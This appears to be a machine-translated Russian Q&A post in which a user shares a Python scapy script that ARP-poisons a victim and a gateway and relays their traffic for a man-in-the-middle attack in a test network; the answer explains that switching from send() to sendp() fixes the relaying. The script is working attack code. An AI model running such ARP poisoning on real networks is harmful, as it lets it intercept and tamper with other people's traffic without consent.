Человек в средней атаке с косой

Я пытаюсь сделать человека в средней атаке с scapy в тестовой сети. Моя настройка такова: enter image description here

Теперь, когда вы поняли, вот код:

from scapy.all import *
import multiprocessing
import time
class MITM:
  packets=[]
  def __init__(self,victim=("192.168.116.143","00:0c:29:d1:aa:71" ),node2=("192.168.116.1", "00:50:56:c0:00:08")):
    self.victim=victim
    self.node2=node2
    multiprocessing.Process(target=self.arp_poison).start()
    try:
      sniff(filter='((dst %s) and (src %s)) or ( (dst %s) and (src %s))'%(self.node2[0], self.victim[0],self.victim[0],self.node2[0]),prn=lambda x:self.routep(x))
    except KeyboardInterrupt as e:
      wireshark(packets)
    #self.arp_poison()
  def routep(self,packet):
    if packet.haslayer(IP):
      packet.show()
      if packet[IP].dst==self.victim[0]:
        packet[Ether].src=packet[Ether].dst
        packet[Ether].dst=self.victim[1]
      elif packet[IP].dst==self.node2[0]:
        packet[Ether].src=packet[Ether].dst
        packet[Ether].dst=self.node2[1]
      self.packets.append(packet)
      packet.display()
      send(packet)
      print len(self.packets)
      if len(self.packets)==10:
        wireshark(self.packets)
  def arp_poison(self):
    a=ARP()
    a.psrc=self.victim[0]
    a.pdst=self.node2[0]
    b=ARP()
    b.psrc=self.node2[0]
    b.pdst=self.victim[0]
    cond=True
    while cond:
      send(b)
      send(a)
      time.sleep(5)
      #cond=False
if __name__=="__main__":
  mitm=MITM()

Этот код работает на VM2.

Отравление Arp работает отлично, я проверяю кеши arp обеих машин, и поведение такое, как я ожидал. Но внутри routep я изменяю адрес src и dst mac и пытаюсь отправить полученный пакет на соответствующий хост, scapy дает предупреждение:

WARNING: more Mac address to reach destination not found. Using broadcast

И я вижу в wireshark на VM2, измененные пакеты не покидают машину. Почему это так? Я что-то пропустил?

Ответы

Ответ 1

Если вы используете scapy send(), он работает на третьем уровне. Из scapy документации:

Функция send() отправит пакеты на уровне 3. То есть будет обрабатывать маршрутизацию и уровень 2 для вас. Функция sendp() будет работать на уровне 2.

Если вы использовали sendp(), он не будет использовать значения по умолчанию для адреса назначения Mac и ваше предупреждение не будет.